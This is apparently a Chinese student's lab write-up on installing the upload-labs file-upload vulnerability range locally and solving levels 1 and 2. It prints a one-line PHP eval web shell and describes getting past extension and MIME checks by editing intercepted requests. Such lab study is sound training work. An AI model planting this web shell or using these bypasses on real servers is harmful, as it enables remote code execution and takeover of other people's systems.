upload-labs靶场搭建以及通关

靶场环境搭建

upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共21关，每一关都包含着不同上传方式。

1. PHPstudy准备
2. upload-labs源码下载https://github.com/c0ny1/upload-labs
3. 源码解压在指定路径…/…/phpstudy_pro\WWW
4. 开始练习

在浏览器输入：http://localhost/upload-labs/ 或者：http://127.0.0.1/upload-labs/

pass-01

方法一
第一步、 查看源码，看看限制的文件类型。第二步、 文本写入一句话木马，修改文件类型为允许上传类型 （ jpg | png | gif ）。

<?php @eval($_POST['hello']);?> //一句话木马

第三步、 上传，抓包，修改后缀为php。

上传成功！

方法二

可以看到这里的过滤函数checkfile()，我们直接将其删除即可直接上传php文件。

pass-02

包含文件类型检测，提示中“包含对数据包的MIME检测”，所以还是用文本编辑器，一句话木马，修改后缀为允许上传类型，上传后抓包、改包。

放包后即可上传成功，
有什么问题多谢大家指正，谢谢@#￥。

第四周 2020/8/12